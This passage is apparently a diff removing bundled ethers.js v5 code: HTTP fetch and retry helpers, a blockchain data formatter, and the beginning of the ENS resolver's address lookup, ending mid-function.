node_modules/@ethersproject/web/lib.esm/geturl.js - var __awaiter23 = function(thisArg, _arguments, P, generator) { - function adopt(value) { - return value instanceof P ? value : new P(function(resolve) { - resolve(value); - }); - } - return new (P || (P = Promise))(function(resolve, reject) { - function fulfilled(value) { - try { - step(generator.next(value)); - } catch (e) { - reject(e); - } - } - function rejected(value) { - try { - step(generator["throw"](value)); - } catch (e) { - reject(e); - } - } - function step(result) { - result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); - } - step((generator = generator.apply(thisArg, _arguments || [])).next()); - }); - }; - function getUrl2(href, options) { - return __awaiter23(this, void 0, void 0, function* () { - if (options == null) { - options = {}; - } - const request = { - method: options.method || "GET", - headers: options.headers || {}, - body: options.body || void 0 - }; - if (options.skipFetchSetup !== true) { - request.mode = "cors"; - request.cache = "no-cache"; - request.credentials = "same-origin"; - request.redirect = "follow"; - request.referrer = "client"; - } - ; - if (options.fetchOptions != null) { - const opts = options.fetchOptions; - if (opts.mode) { - request.mode = opts.mode; - } - if (opts.cache) { - request.cache = opts.cache; - } - if (opts.credentials) { - request.credentials = opts.credentials; - } - if (opts.redirect) { - request.redirect = opts.redirect; - } - if (opts.referrer) { - request.referrer = opts.referrer; - } - } - const response = yield fetch(href, request); - const body = yield response.arrayBuffer(); - const headers = {}; - if (response.headers.forEach) { - response.headers.forEach((value, key3) => { - headers[key3.toLowerCase()] = value; - }); - } else { - response.headers.keys().forEach((key3) => { - headers[key3.toLowerCase()] = response.headers.get(key3); - }); - } - return { - headers, - statusCode: response.status, - statusMessage: response.statusText, - body: arrayify2(new Uint8Array(body)) - }; - }); - } - - // node_modules/@ethersproject/web/lib.esm/index.js - var __awaiter24 = function(thisArg, _arguments, P, generator) { - function adopt(value) { - return value instanceof P ? value : new P(function(resolve) { - resolve(value); - }); - } - return new (P || (P = Promise))(function(resolve, reject) { - function fulfilled(value) { - try { - step(generator.next(value)); - } catch (e) { - reject(e); - } - } - function rejected(value) { - try { - step(generator["throw"](value)); - } catch (e) { - reject(e); - } - } - function step(result) { - result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); - } - step((generator = generator.apply(thisArg, _arguments || [])).next()); - }); - }; - var logger47 = new Logger2(version42); - function staller2(duration) { - return new Promise((resolve) => { - setTimeout(resolve, duration); - }); - } - function bodyify2(value, type) { - if (value == null) { - return null; - } - if (typeof value === "string") { - return value; - } - if (isBytesLike2(value)) { - if (type && (type.split("/")[0] === "text" || type.split(";")[0].trim() === "application/json")) { - try { - return toUtf8String2(value); - } catch (error) { - } - ; - } - return hexlify2(value); - } - return value; - } - function unpercent2(value) { - return toUtf8Bytes2(value.replace(/%([0-9a-f][0-9a-f])/gi, (all3, code) => { - return String.fromCharCode(parseInt(code, 16)); - })); - } - function _fetchData2(connection, body, processFunc) { - const attemptLimit = typeof connection === "object" && connection.throttleLimit != null ? connection.throttleLimit : 12; - logger47.assertArgument(attemptLimit > 0 && attemptLimit % 1 === 0, "invalid connection throttle limit", "connection.throttleLimit", attemptLimit); - const throttleCallback = typeof connection === "object" ? connection.throttleCallback : null; - const throttleSlotInterval = typeof connection === "object" && typeof connection.throttleSlotInterval === "number" ? connection.throttleSlotInterval : 100; - logger47.assertArgument(throttleSlotInterval > 0 && throttleSlotInterval % 1 === 0, "invalid connection throttle slot interval", "connection.throttleSlotInterval", throttleSlotInterval); - const errorPassThrough = typeof connection === "object" ? !!connection.errorPassThrough : false; - const headers = {}; - let url = null; - const options = { - method: "GET" - }; - let allow304 = false; - let timeout = 2 * 60 * 1e3; - if (typeof connection === "string") { - url = connection; - } else if (typeof connection === "object") { - if (connection == null || connection.url == null) { - logger47.throwArgumentError("missing URL", "connection.url", connection); - } - url = connection.url; - if (typeof connection.timeout === "number" && connection.timeout > 0) { - timeout = connection.timeout; - } - if (connection.headers) { - for (const key3 in connection.headers) { - headers[key3.toLowerCase()] = { key: key3, value: String(connection.headers[key3]) }; - if (["if-none-match", "if-modified-since"].indexOf(key3.toLowerCase()) >= 0) { - allow304 = true; - } - } - } - options.allowGzip = !!connection.allowGzip; - if (connection.user != null && connection.password != null) { - if (url.substring(0, 6) !== "https:" && connection.allowInsecureAuthentication !== true) { - logger47.throwError("basic authentication requires a secure https url", Logger2.errors.INVALID_ARGUMENT, { argument: "url", url, user: connection.user, password: "[REDACTED]" }); - } - const authorization = connection.user + ":" + connection.password; - headers["authorization"] = { - key: "Authorization", - value: "Basic " + encode7(toUtf8Bytes2(authorization)) - }; - } - if (connection.skipFetchSetup != null) { - options.skipFetchSetup = !!connection.skipFetchSetup; - } - if (connection.fetchOptions != null) { - options.fetchOptions = shallowCopy2(connection.fetchOptions); - } - } - const reData = new RegExp("^data:([^;:]*)?(;base64)?,(.*)$", "i"); - const dataMatch = url ? url.match(reData) : null; - if (dataMatch) { - try { - const response = { - statusCode: 200, - statusMessage: "OK", - headers: { "content-type": dataMatch[1] || "text/plain" }, - body: dataMatch[2] ? decode4(dataMatch[3]) : unpercent2(dataMatch[3]) - }; - let result = response.body; - if (processFunc) { - result = processFunc(response.body, response); - } - return Promise.resolve(result); - } catch (error) { - logger47.throwError("processing response error", Logger2.errors.SERVER_ERROR, { - body: bodyify2(dataMatch[1], dataMatch[2]), - error, - requestBody: null, - requestMethod: "GET", - url - }); - } - } - if (body) { - options.method = "POST"; - options.body = body; - if (headers["content-type"] == null) { - headers["content-type"] = { key: "Content-Type", value: "application/octet-stream" }; - } - if (headers["content-length"] == null) { - headers["content-length"] = { key: "Content-Length", value: String(body.length) }; - } - } - const flatHeaders = {}; - Object.keys(headers).forEach((key3) => { - const header = headers[key3]; - flatHeaders[header.key] = header.value; - }); - options.headers = flatHeaders; - const runningTimeout = function() { - let timer3 = null; - const promise = new Promise(function(resolve, reject) { - if (timeout) { - timer3 = setTimeout(() => { - if (timer3 == null) { - return; - } - timer3 = null; - reject(logger47.makeError("timeout", Logger2.errors.TIMEOUT, { - requestBody: bodyify2(options.body, flatHeaders["content-type"]), - requestMethod: options.method, - timeout, - url - })); - }, timeout); - } - }); - const cancel = function() { - if (timer3 == null) { - return; - } - clearTimeout(timer3); - timer3 = null; - }; - return { promise, cancel }; - }(); - const runningFetch = function() { - return __awaiter24(this, void 0, void 0, function* () { - for (let attempt = 0; attempt < attemptLimit; attempt++) { - let response = null; - try { - response = yield getUrl2(url, options); - if (attempt < attemptLimit) { - if (response.statusCode === 301 || response.statusCode === 302) { - const location = response.headers.location || ""; - if (options.method === "GET" && location.match(/^https:/)) { - url = response.headers.location; - continue; - } - } else if (response.statusCode === 429) { - let tryAgain = true; - if (throttleCallback) { - tryAgain = yield throttleCallback(attempt, url); - } - if (tryAgain) { - let stall4 = 0; - const retryAfter = response.headers["retry-after"]; - if (typeof retryAfter === "string" && retryAfter.match(/^[1-9][0-9]*$/)) { - stall4 = parseInt(retryAfter) * 1e3; - } else { - stall4 = throttleSlotInterval * parseInt(String(Math.random() * Math.pow(2, attempt))); - } - yield staller2(stall4); - continue; - } - } - } - } catch (error) { - response = error.response; - if (response == null) { - runningTimeout.cancel(); - logger47.throwError("missing response", Logger2.errors.SERVER_ERROR, { - requestBody: bodyify2(options.body, flatHeaders["content-type"]), - requestMethod: options.method, - serverError: error, - url - }); - } - } - let body2 = response.body; - if (allow304 && response.statusCode === 304) { - body2 = null; - } else if (!errorPassThrough && (response.statusCode < 200 || response.statusCode >= 300)) { - runningTimeout.cancel(); - logger47.throwError("bad response", Logger2.errors.SERVER_ERROR, { - status: response.statusCode, - headers: response.headers, - body: bodyify2(body2, response.headers ? response.headers["content-type"] : null), - requestBody: bodyify2(options.body, flatHeaders["content-type"]), - requestMethod: options.method, - url - }); - } - if (processFunc) { - try { - const result = yield processFunc(body2, response); - runningTimeout.cancel(); - return result; - } catch (error) { - if (error.throttleRetry && attempt < attemptLimit) { - let tryAgain = true; - if (throttleCallback) { - tryAgain = yield throttleCallback(attempt, url); - } - if (tryAgain) { - const timeout2 = throttleSlotInterval * parseInt(String(Math.random() * Math.pow(2, attempt))); - yield staller2(timeout2); - continue; - } - } - runningTimeout.cancel(); - logger47.throwError("processing response error", Logger2.errors.SERVER_ERROR, { - body: bodyify2(body2, response.headers ? response.headers["content-type"] : null), - error, - requestBody: bodyify2(options.body, flatHeaders["content-type"]), - requestMethod: options.method, - url - }); - } - } - runningTimeout.cancel(); - return body2; - } - return logger47.throwError("failed response", Logger2.errors.SERVER_ERROR, { - requestBody: bodyify2(options.body, flatHeaders["content-type"]), - requestMethod: options.method, - url - }); - }); - }(); - return Promise.race([runningTimeout.promise, runningFetch]); - } - function fetchJson2(connection, json, processFunc) { - let processJsonFunc = (value, response) => { - let result = null; - if (value != null) { - try { - result = JSON.parse(toUtf8String2(value)); - } catch (error) { - logger47.throwError("invalid JSON", Logger2.errors.SERVER_ERROR, { - body: value, - error - }); - } - } - if (processFunc) { - result = processFunc(result, response); - } - return result; - }; - let body = null; - if (json != null) { - body = toUtf8Bytes2(json); - const updated = typeof connection === "string" ? { url: connection } : shallowCopy2(connection); - if (updated.headers) { - const hasContentType = Object.keys(updated.headers).filter((k) => k.toLowerCase() === "content-type").length !== 0; - if (!hasContentType) { - updated.headers = shallowCopy2(updated.headers); - updated.headers["content-type"] = "application/json"; - } - } else { - updated.headers = { "content-type": "application/json" }; - } - connection = updated; - } - return _fetchData2(connection, body, processJsonFunc); - } - function poll2(func, options) { - if (!options) { - options = {}; - } - options = shallowCopy2(options); - if (options.floor == null) { - options.floor = 0; - } - if (options.ceiling == null) { - options.ceiling = 1e4; - } - if (options.interval == null) { - options.interval = 250; - } - return new Promise(function(resolve, reject) { - let timer3 = null; - let done = false; - const cancel = () => { - if (done) { - return false; - } - done = true; - if (timer3) { - clearTimeout(timer3); - } - return true; - }; - if (options.timeout) { - timer3 = setTimeout(() => { - if (cancel()) { - reject(new Error("timeout")); - } - }, options.timeout); - } - const retryLimit = options.retryLimit; - let attempt = 0; - function check() { - return func().then(function(result) { - if (result !== void 0) { - if (cancel()) { - resolve(result); - } - } else if (options.oncePoll) { - options.oncePoll.once("poll", check); - } else if (options.onceBlock) { - options.onceBlock.once("block", check); - } else if (!done) { - attempt++; - if (attempt > retryLimit) { - if (cancel()) { - reject(new Error("retry limit reached")); - } - return; - } - let timeout = options.interval * parseInt(String(Math.random() * Math.pow(2, attempt))); - if (timeout < options.floor) { - timeout = options.floor; - } - if (timeout > options.ceiling) { - timeout = options.ceiling; - } - setTimeout(check, timeout); - } - return null; - }, function(error) { - if (cancel()) { - reject(error); - } - }); - } - check(); - }); - } - - // node_modules/@ethersproject/providers/lib.esm/base-provider.js - var import_bech322 = __toESM(require_bech322()); - - // node_modules/@ethersproject/providers/lib.esm/_version.js - var version43 = "providers/5.7.2"; - - // node_modules/@ethersproject/providers/lib.esm/formatter.js - var logger48 = new Logger2(version43); - var Formatter2 = class _Formatter2 { - constructor() { - this.formats = this.getDefaultFormats(); - } - getDefaultFormats() { - const formats = {}; - const address = this.address.bind(this); - const bigNumber = this.bigNumber.bind(this); - const blockTag = this.blockTag.bind(this); - const data = this.data.bind(this); - const hash3 = this.hash.bind(this); - const hex = this.hex.bind(this); - const number = this.number.bind(this); - const type = this.type.bind(this); - const strictData = (v) => { - return this.data(v, true); - }; - formats.transaction = { - hash: hash3, - type, - accessList: _Formatter2.allowNull(this.accessList.bind(this), null), - blockHash: _Formatter2.allowNull(hash3, null), - blockNumber: _Formatter2.allowNull(number, null), - transactionIndex: _Formatter2.allowNull(number, null), - confirmations: _Formatter2.allowNull(number, null), - from: address, - // either (gasPrice) or (maxPriorityFeePerGas + maxFeePerGas) - // must be set - gasPrice: _Formatter2.allowNull(bigNumber), - maxPriorityFeePerGas: _Formatter2.allowNull(bigNumber), - maxFeePerGas: _Formatter2.allowNull(bigNumber), - gasLimit: bigNumber, - to: _Formatter2.allowNull(address, null), - value: bigNumber, - nonce: number, - data, - r: _Formatter2.allowNull(this.uint256), - s: _Formatter2.allowNull(this.uint256), - v: _Formatter2.allowNull(number), - creates: _Formatter2.allowNull(address, null), - raw: _Formatter2.allowNull(data) - }; - formats.transactionRequest = { - from: _Formatter2.allowNull(address), - nonce: _Formatter2.allowNull(number), - gasLimit: _Formatter2.allowNull(bigNumber), - gasPrice: _Formatter2.allowNull(bigNumber), - maxPriorityFeePerGas: _Formatter2.allowNull(bigNumber), - maxFeePerGas: _Formatter2.allowNull(bigNumber), - to: _Formatter2.allowNull(address), - value: _Formatter2.allowNull(bigNumber), - data: _Formatter2.allowNull(strictData), - type: _Formatter2.allowNull(number), - accessList: _Formatter2.allowNull(this.accessList.bind(this), null) - }; - formats.receiptLog = { - transactionIndex: number, - blockNumber: number, - transactionHash: hash3, - address, - topics: _Formatter2.arrayOf(hash3), - data, - logIndex: number, - blockHash: hash3 - }; - formats.receipt = { - to: _Formatter2.allowNull(this.address, null), - from: _Formatter2.allowNull(this.address, null), - contractAddress: _Formatter2.allowNull(address, null), - transactionIndex: number, - // should be allowNull(hash), but broken-EIP-658 support is handled in receipt - root: _Formatter2.allowNull(hex), - gasUsed: bigNumber, - logsBloom: _Formatter2.allowNull(data), - blockHash: hash3, - transactionHash: hash3, - logs: _Formatter2.arrayOf(this.receiptLog.bind(this)), - blockNumber: number, - confirmations: _Formatter2.allowNull(number, null), - cumulativeGasUsed: bigNumber, - effectiveGasPrice: _Formatter2.allowNull(bigNumber), - status: _Formatter2.allowNull(number), - type - }; - formats.block = { - hash: _Formatter2.allowNull(hash3), - parentHash: hash3, - number, - timestamp: number, - nonce: _Formatter2.allowNull(hex), - difficulty: this.difficulty.bind(this), - gasLimit: bigNumber, - gasUsed: bigNumber, - miner: _Formatter2.allowNull(address), - extraData: data, - transactions: _Formatter2.allowNull(_Formatter2.arrayOf(hash3)), - baseFeePerGas: _Formatter2.allowNull(bigNumber) - }; - formats.blockWithTransactions = shallowCopy2(formats.block); - formats.blockWithTransactions.transactions = _Formatter2.allowNull(_Formatter2.arrayOf(this.transactionResponse.bind(this))); - formats.filter = { - fromBlock: _Formatter2.allowNull(blockTag, void 0), - toBlock: _Formatter2.allowNull(blockTag, void 0), - blockHash: _Formatter2.allowNull(hash3, void 0), - address: _Formatter2.allowNull(address, void 0), - topics: _Formatter2.allowNull(this.topics.bind(this), void 0) - }; - formats.filterLog = { - blockNumber: _Formatter2.allowNull(number), - blockHash: _Formatter2.allowNull(hash3), - transactionIndex: number, - removed: _Formatter2.allowNull(this.boolean.bind(this)), - address, - data: _Formatter2.allowFalsish(data, "0x"), - topics: _Formatter2.arrayOf(hash3), - transactionHash: hash3, - logIndex: number - }; - return formats; - } - accessList(accessList) { - return accessListify2(accessList || []); - } - // Requires a BigNumberish that is within the IEEE754 safe integer range; returns a number - // Strict! Used on input. - number(number) { - if (number === "0x") { - return 0; - } - return BigNumber2.from(number).toNumber(); - } - type(number) { - if (number === "0x" || number == null) { - return 0; - } - return BigNumber2.from(number).toNumber(); - } - // Strict! Used on input. - bigNumber(value) { - return BigNumber2.from(value); - } - // Requires a boolean, "true" or "false"; returns a boolean - boolean(value) { - if (typeof value === "boolean") { - return value; - } - if (typeof value === "string") { - value = value.toLowerCase(); - if (value === "true") { - return true; - } - if (value === "false") { - return false; - } - } - throw new Error("invalid boolean - " + value); - } - hex(value, strict) { - if (typeof value === "string") { - if (!strict && value.substring(0, 2) !== "0x") { - value = "0x" + value; - } - if (isHexString2(value)) { - return value.toLowerCase(); - } - } - return logger48.throwArgumentError("invalid hash", "value", value); - } - data(value, strict) { - const result = this.hex(value, strict); - if (result.length % 2 !== 0) { - throw new Error("invalid data; odd-length - " + value); - } - return result; - } - // Requires an address - // Strict! Used on input. - address(value) { - return getAddress2(value); - } - callAddress(value) { - if (!isHexString2(value, 32)) { - return null; - } - const address = getAddress2(hexDataSlice2(value, 12)); - return address === AddressZero2 ? null : address; - } - contractAddress(value) { - return getContractAddress2(value); - } - // Strict! Used on input. - blockTag(blockTag) { - if (blockTag == null) { - return "latest"; - } - if (blockTag === "earliest") { - return "0x0"; - } - switch (blockTag) { - case "earliest": - return "0x0"; - case "latest": - case "pending": - case "safe": - case "finalized": - return blockTag; - } - if (typeof blockTag === "number" || isHexString2(blockTag)) { - return hexValue2(blockTag); - } - throw new Error("invalid blockTag"); - } - // Requires a hash, optionally requires 0x prefix; returns prefixed lowercase hash. - hash(value, strict) { - const result = this.hex(value, strict); - if (hexDataLength2(result) !== 32) { - return logger48.throwArgumentError("invalid hash", "value", value); - } - return result; - } - // Returns the difficulty as a number, or if too large (i.e. PoA network) null - difficulty(value) { - if (value == null) { - return null; - } - const v = BigNumber2.from(value); - try { - return v.toNumber(); - } catch (error) { - } - return null; - } - uint256(value) { - if (!isHexString2(value)) { - throw new Error("invalid uint256"); - } - return hexZeroPad2(value, 32); - } - _block(value, format) { - if (value.author != null && value.miner == null) { - value.miner = value.author; - } - const difficulty = value._difficulty != null ? value._difficulty : value.difficulty; - const result = _Formatter2.check(format, value); - result._difficulty = difficulty == null ? null : BigNumber2.from(difficulty); - return result; - } - block(value) { - return this._block(value, this.formats.block); - } - blockWithTransactions(value) { - return this._block(value, this.formats.blockWithTransactions); - } - // Strict! Used on input. - transactionRequest(value) { - return _Formatter2.check(this.formats.transactionRequest, value); - } - transactionResponse(transaction) { - if (transaction.gas != null && transaction.gasLimit == null) { - transaction.gasLimit = transaction.gas; - } - if (transaction.to && BigNumber2.from(transaction.to).isZero()) { - transaction.to = "0x0000000000000000000000000000000000000000"; - } - if (transaction.input != null && transaction.data == null) { - transaction.data = transaction.input; - } - if (transaction.to == null && transaction.creates == null) { - transaction.creates = this.contractAddress(transaction); - } - if ((transaction.type === 1 || transaction.type === 2) && transaction.accessList == null) { - transaction.accessList = []; - } - const result = _Formatter2.check(this.formats.transaction, transaction); - if (transaction.chainId != null) { - let chainId = transaction.chainId; - if (isHexString2(chainId)) { - chainId = BigNumber2.from(chainId).toNumber(); - } - result.chainId = chainId; - } else { - let chainId = transaction.networkId; - if (chainId == null && result.v == null) { - chainId = transaction.chainId; - } - if (isHexString2(chainId)) { - chainId = BigNumber2.from(chainId).toNumber(); - } - if (typeof chainId !== "number" && result.v != null) { - chainId = (result.v - 35) / 2; - if (chainId < 0) { - chainId = 0; - } - chainId = parseInt(chainId); - } - if (typeof chainId !== "number") { - chainId = 0; - } - result.chainId = chainId; - } - if (result.blockHash && result.blockHash.replace(/0/g, "") === "x") { - result.blockHash = null; - } - return result; - } - transaction(value) { - return parse2(value); - } - receiptLog(value) { - return _Formatter2.check(this.formats.receiptLog, value); - } - receipt(value) { - const result = _Formatter2.check(this.formats.receipt, value); - if (result.root != null) { - if (result.root.length <= 4) { - const value2 = BigNumber2.from(result.root).toNumber(); - if (value2 === 0 || value2 === 1) { - if (result.status != null && result.status !== value2) { - logger48.throwArgumentError("alt-root-status/status mismatch", "value", { root: result.root, status: result.status }); - } - result.status = value2; - delete result.root; - } else { - logger48.throwArgumentError("invalid alt-root-status", "value.root", result.root); - } - } else if (result.root.length !== 66) { - logger48.throwArgumentError("invalid root hash", "value.root", result.root); - } - } - if (result.status != null) { - result.byzantium = true; - } - return result; - } - topics(value) { - if (Array.isArray(value)) { - return value.map((v) => this.topics(v)); - } else if (value != null) { - return this.hash(value, true); - } - return null; - } - filter(value) { - return _Formatter2.check(this.formats.filter, value); - } - filterLog(value) { - return _Formatter2.check(this.formats.filterLog, value); - } - static check(format, object) { - const result = {}; - for (const key3 in format) { - try { - const value = format[key3](object[key3]); - if (value !== void 0) { - result[key3] = value; - } - } catch (error) { - error.checkKey = key3; - error.checkValue = object[key3]; - throw error; - } - } - return result; - } - // if value is null-ish, nullValue is returned - static allowNull(format, nullValue) { - return function(value) { - if (value == null) { - return nullValue; - } - return format(value); - }; - } - // If value is false-ish, replaceValue is returned - static allowFalsish(format, replaceValue) { - return function(value) { - if (!value) { - return replaceValue; - } - return format(value); - }; - } - // Requires an Array satisfying check - static arrayOf(format) { - return function(array) { - if (!Array.isArray(array)) { - throw new Error("not an array"); - } - const result = []; - array.forEach(function(value) { - result.push(format(value)); - }); - return result; - }; - } - }; - function isCommunityResourcable(value) { - return value && typeof value.isCommunityResource === "function"; - } - function isCommunityResource(value) { - return isCommunityResourcable(value) && value.isCommunityResource(); - } - var throttleMessage = false; - function showThrottleMessage() { - if (throttleMessage) { - return; - } - throttleMessage = true; - console.log("========= NOTICE ========="); - console.log("Request-Rate Exceeded (this message will not be repeated)"); - console.log(""); - console.log("The default API keys for each service are provided as a highly-throttled,"); - console.log("community resource for low-traffic projects and early prototyping."); - console.log(""); - console.log("While your application will continue to function, we highly recommended"); - console.log("signing up for your own API keys to improve performance, increase your"); - console.log("request rate/limit and enable other perks, such as metrics and advanced APIs."); - console.log(""); - console.log("For more details: https://docs.ethers.io/api-keys/"); - console.log("=========================="); - } - - // node_modules/@ethersproject/providers/lib.esm/base-provider.js - var __awaiter25 = function(thisArg, _arguments, P, generator) { - function adopt(value) { - return value instanceof P ? value : new P(function(resolve) { - resolve(value); - }); - } - return new (P || (P = Promise))(function(resolve, reject) { - function fulfilled(value) { - try { - step(generator.next(value)); - } catch (e) { - reject(e); - } - } - function rejected(value) { - try { - step(generator["throw"](value)); - } catch (e) { - reject(e); - } - } - function step(result) { - result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); - } - step((generator = generator.apply(thisArg, _arguments || [])).next()); - }); - }; - var logger49 = new Logger2(version43); - var MAX_CCIP_REDIRECTS2 = 10; - function checkTopic2(topic) { - if (topic == null) { - return "null"; - } - if (hexDataLength2(topic) !== 32) { - logger49.throwArgumentError("invalid topic", "topic", topic); - } - return topic.toLowerCase(); - } - function serializeTopics2(topics) { - topics = topics.slice(); - while (topics.length > 0 && topics[topics.length - 1] == null) { - topics.pop(); - } - return topics.map((topic) => { - if (Array.isArray(topic)) { - const unique = {}; - topic.forEach((topic2) => { - unique[checkTopic2(topic2)] = true; - }); - const sorted = Object.keys(unique); - sorted.sort(); - return sorted.join("|"); - } else { - return checkTopic2(topic); - } - }).join("&"); - } - function deserializeTopics2(data) { - if (data === "") { - return []; - } - return data.split(/&/g).map((topic) => { - if (topic === "") { - return []; - } - const comps = topic.split("|").map((topic2) => { - return topic2 === "null" ? null : topic2; - }); - return comps.length === 1 ? comps[0] : comps; - }); - } - function getEventTag3(eventName) { - if (typeof eventName === "string") { - eventName = eventName.toLowerCase(); - if (hexDataLength2(eventName) === 32) { - return "tx:" + eventName; - } - if (eventName.indexOf(":") === -1) { - return eventName; - } - } else if (Array.isArray(eventName)) { - return "filter:*:" + serializeTopics2(eventName); - } else if (ForkEvent2.isForkEvent(eventName)) { - logger49.warn("not implemented"); - throw new Error("not implemented"); - } else if (eventName && typeof eventName === "object") { - return "filter:" + (eventName.address || "*") + ":" + serializeTopics2(eventName.topics || []); - } - throw new Error("invalid event - " + eventName); - } - function getTime2() { - return (/* @__PURE__ */ new Date()).getTime(); - } - function stall2(duration) { - return new Promise((resolve) => { - setTimeout(resolve, duration); - }); - } - var PollableEvents2 = ["block", "network", "pending", "poll"]; - var Event2 = class { - constructor(tag, listener, once) { - defineReadOnly2(this, "tag", tag); - defineReadOnly2(this, "listener", listener); - defineReadOnly2(this, "once", once); - this._lastBlockNumber = -2; - this._inflight = false; - } - get event() { - switch (this.type) { - case "tx": - return this.hash; - case "filter": - return this.filter; - } - return this.tag; - } - get type() { - return this.tag.split(":")[0]; - } - get hash() { - const comps = this.tag.split(":"); - if (comps[0] !== "tx") { - return null; - } - return comps[1]; - } - get filter() { - const comps = this.tag.split(":"); - if (comps[0] !== "filter") { - return null; - } - const address = comps[1]; - const topics = deserializeTopics2(comps[2]); - const filter2 = {}; - if (topics.length > 0) { - filter2.topics = topics; - } - if (address && address !== "*") { - filter2.address = address; - } - return filter2; - } - pollable() { - return this.tag.indexOf(":") >= 0 || PollableEvents2.indexOf(this.tag) >= 0; - } - }; - var coinInfos2 = { - "0": { symbol: "btc", p2pkh: 0, p2sh: 5, prefix: "bc" }, - "2": { symbol: "ltc", p2pkh: 48, p2sh: 50, prefix: "ltc" }, - "3": { symbol: "doge", p2pkh: 30, p2sh: 22 }, - "60": { symbol: "eth", ilk: "eth" }, - "61": { symbol: "etc", ilk: "eth" }, - "700": { symbol: "xdai", ilk: "eth" } - }; - function bytes32ify2(value) { - return hexZeroPad2(BigNumber2.from(value).toHexString(), 32); - } - function base58Encode2(data) { - return Base582.encode(concat2([data, hexDataSlice2(sha2563(sha2563(data)), 0, 4)])); - } - var matcherIpfs2 = new RegExp("^(ipfs)://(.*)$", "i"); - var matchers2 = [ - new RegExp("^(https)://(.*)$", "i"), - new RegExp("^(data):(.*)$", "i"), - matcherIpfs2, - new RegExp("^eip155:[0-9]+/(erc[0-9]+):(.*)$", "i") - ]; - function _parseString2(result, start) { - try { - return toUtf8String2(_parseBytes2(result, start)); - } catch (error) { - } - return null; - } - function _parseBytes2(result, start) { - if (result === "0x") { - return null; - } - const offset = BigNumber2.from(hexDataSlice2(result, start, start + 32)).toNumber(); - const length = BigNumber2.from(hexDataSlice2(result, offset, offset + 32)).toNumber(); - return hexDataSlice2(result, offset + 32, offset + 32 + length); - } - function getIpfsLink2(link) { - if (link.match(/^ipfs:\/\/ipfs\//i)) { - link = link.substring(12); - } else if (link.match(/^ipfs:\/\//i)) { - link = link.substring(7); - } else { - logger49.throwArgumentError("unsupported IPFS format", "link", link); - } - return `https://gateway.ipfs.io/ipfs/${link}`; - } - function numPad2(value) { - const result = arrayify2(value); - if (result.length > 32) { - throw new Error("internal; should not happen"); - } - const padded = new Uint8Array(32); - padded.set(result, 32 - result.length); - return padded; - } - function bytesPad2(value) { - if (value.length % 32 === 0) { - return value; - } - const result = new Uint8Array(Math.ceil(value.length / 32) * 32); - result.set(value); - return result; - } - function encodeBytes2(datas) { - const result = []; - let byteCount = 0; - for (let i = 0; i < datas.length; i++) { - result.push(null); - byteCount += 32; - } - for (let i = 0; i < datas.length; i++) { - const data = arrayify2(datas[i]); - result[i] = numPad2(byteCount); - result.push(numPad2(data.length)); - result.push(bytesPad2(data)); - byteCount += 32 + Math.ceil(data.length / 32) * 32; - } - return hexConcat2(result); - } - var Resolver2 = class { - // The resolvedAddress is only for creating a ReverseLookup resolver - constructor(provider, address, name, resolvedAddress) { - defineReadOnly2(this, "provider", provider); - defineReadOnly2(this, "name", name); - defineReadOnly2(this, "address", provider.formatter.address(address)); - defineReadOnly2(this, "_resolvedAddress", resolvedAddress); - } - supportsWildcard() { - if (!this._supportsEip2544) { - this._supportsEip2544 = this.provider.call({ - to: this.address, - data: "0x01ffc9a79061b92300000000000000000000000000000000000000000000000000000000" - }).then((result) => { - return BigNumber2.from(result).eq(1); - }).catch((error) => { - if (error.code === Logger2.errors.CALL_EXCEPTION) { - return false; - } - this._supportsEip2544 = null; - throw error; - }); - } - return this._supportsEip2544; - } - _fetch(selector, parameters) { - return __awaiter25(this, void 0, void 0, function* () { - const tx = { - to: this.address, - ccipReadEnabled: true, - data: hexConcat2([selector, namehash2(this.name), parameters || "0x"]) - }; - let parseBytes = false; - if (yield this.supportsWildcard()) { - parseBytes = true; - tx.data = hexConcat2(["0x9061b923", encodeBytes2([dnsEncode2(this.name), tx.data])]); - } - try { - let result = yield this.provider.call(tx); - if (arrayify2(result).length % 32 === 4) { - logger49.throwError("resolver threw error", Logger2.errors.CALL_EXCEPTION, { - transaction: tx, - data: result - }); - } - if (parseBytes) { - result = _parseBytes2(result, 0); - } - return result; - } catch (error) { - if (error.code === Logger2.errors.CALL_EXCEPTION) { - return null; - } - throw error; - } - }); - } - _fetchBytes(selector, parameters) { - return __awaiter25(this, void 0, void 0, function* () { - const result = yield this._fetch(selector, parameters); - if (result != null) { - return _parseBytes2(result, 0); - } - return null; - }); - } - _getAddress(coinType, hexBytes) { - const coinInfo = coinInfos2[String(coinType)]; - if (coinInfo == null) { - logger49.throwError(`unsupported coin type: ${coinType}`, Logger2.errors.UNSUPPORTED_OPERATION, { - operation: `getAddress(${coinType})` - }); - } - if (coinInfo.ilk === "eth") { - return this.provider.formatter.address(hexBytes); - } - const bytes = arrayify2(hexBytes); - if (coinInfo.p2pkh != null) { - const p2pkh = hexBytes.match(/^0x76a9([0-9a-f][0-9a-f])([0-9a-f]*)88ac$/); - if (p2pkh) { - const length = parseInt(p2pkh[1], 16); - if (p2pkh[2].length === length * 2 && length >= 1 && length <= 75) { - return base58Encode2(concat2([[coinInfo.p2pkh], "0x" + p2pkh[2]])); - } - } - } - if (coinInfo.p2sh != null) { - const p2sh = hexBytes.match(/^0xa9([0-9a-f][0-9a-f])([0-9a-f]*)87$/); - if (p2sh) { - const length = parseInt(p2sh[1], 16); - if (p2sh[2].length === length * 2 && length >= 1 && length <= 75) { - return base58Encode2(concat2([[coinInfo.p2sh], "0x" + p2sh[2]])); - } - } - } - if (coinInfo.prefix != null) { - const length = bytes[1]; - let version47 = bytes[0]; - if (version47 === 0) { - if (length !== 20 && length !== 32) { - version47 = -1; - } - } else { - version47 = -1; - } - if (version47 >= 0 && bytes.length === 2 + length && length >= 1 && length <= 75) { - const words2 = import_bech322.default.toWords(bytes.slice(2)); - words2.unshift(version47); - return import_bech322.default.encode(coinInfo.prefix, words2); - } - } - return null; - } - getAddress(coinType) { - return __awaiter25(this, void 0, void 0, function* () { - if (coinType == null) { - coinType = 60; - } - if (coinType === 60) { - try { - const result = yield this._fetch("0x3b3b57de"); - if (result === "0x" || result === HashZero2) { - return null; - } - return this.provider.formatter.callAddress(result); - } catch (error) { - if (error.code === Logger2.errors.CALL_EXCEPTION) { - return null; - } - throw error; - } - } - const hexBytes = yield this._fetchBytes("0xf1cb7e06", bytes32ify2(coinType)); - if (hexBytes == null || hexBytes === "0x") { - return null; - } - const address = 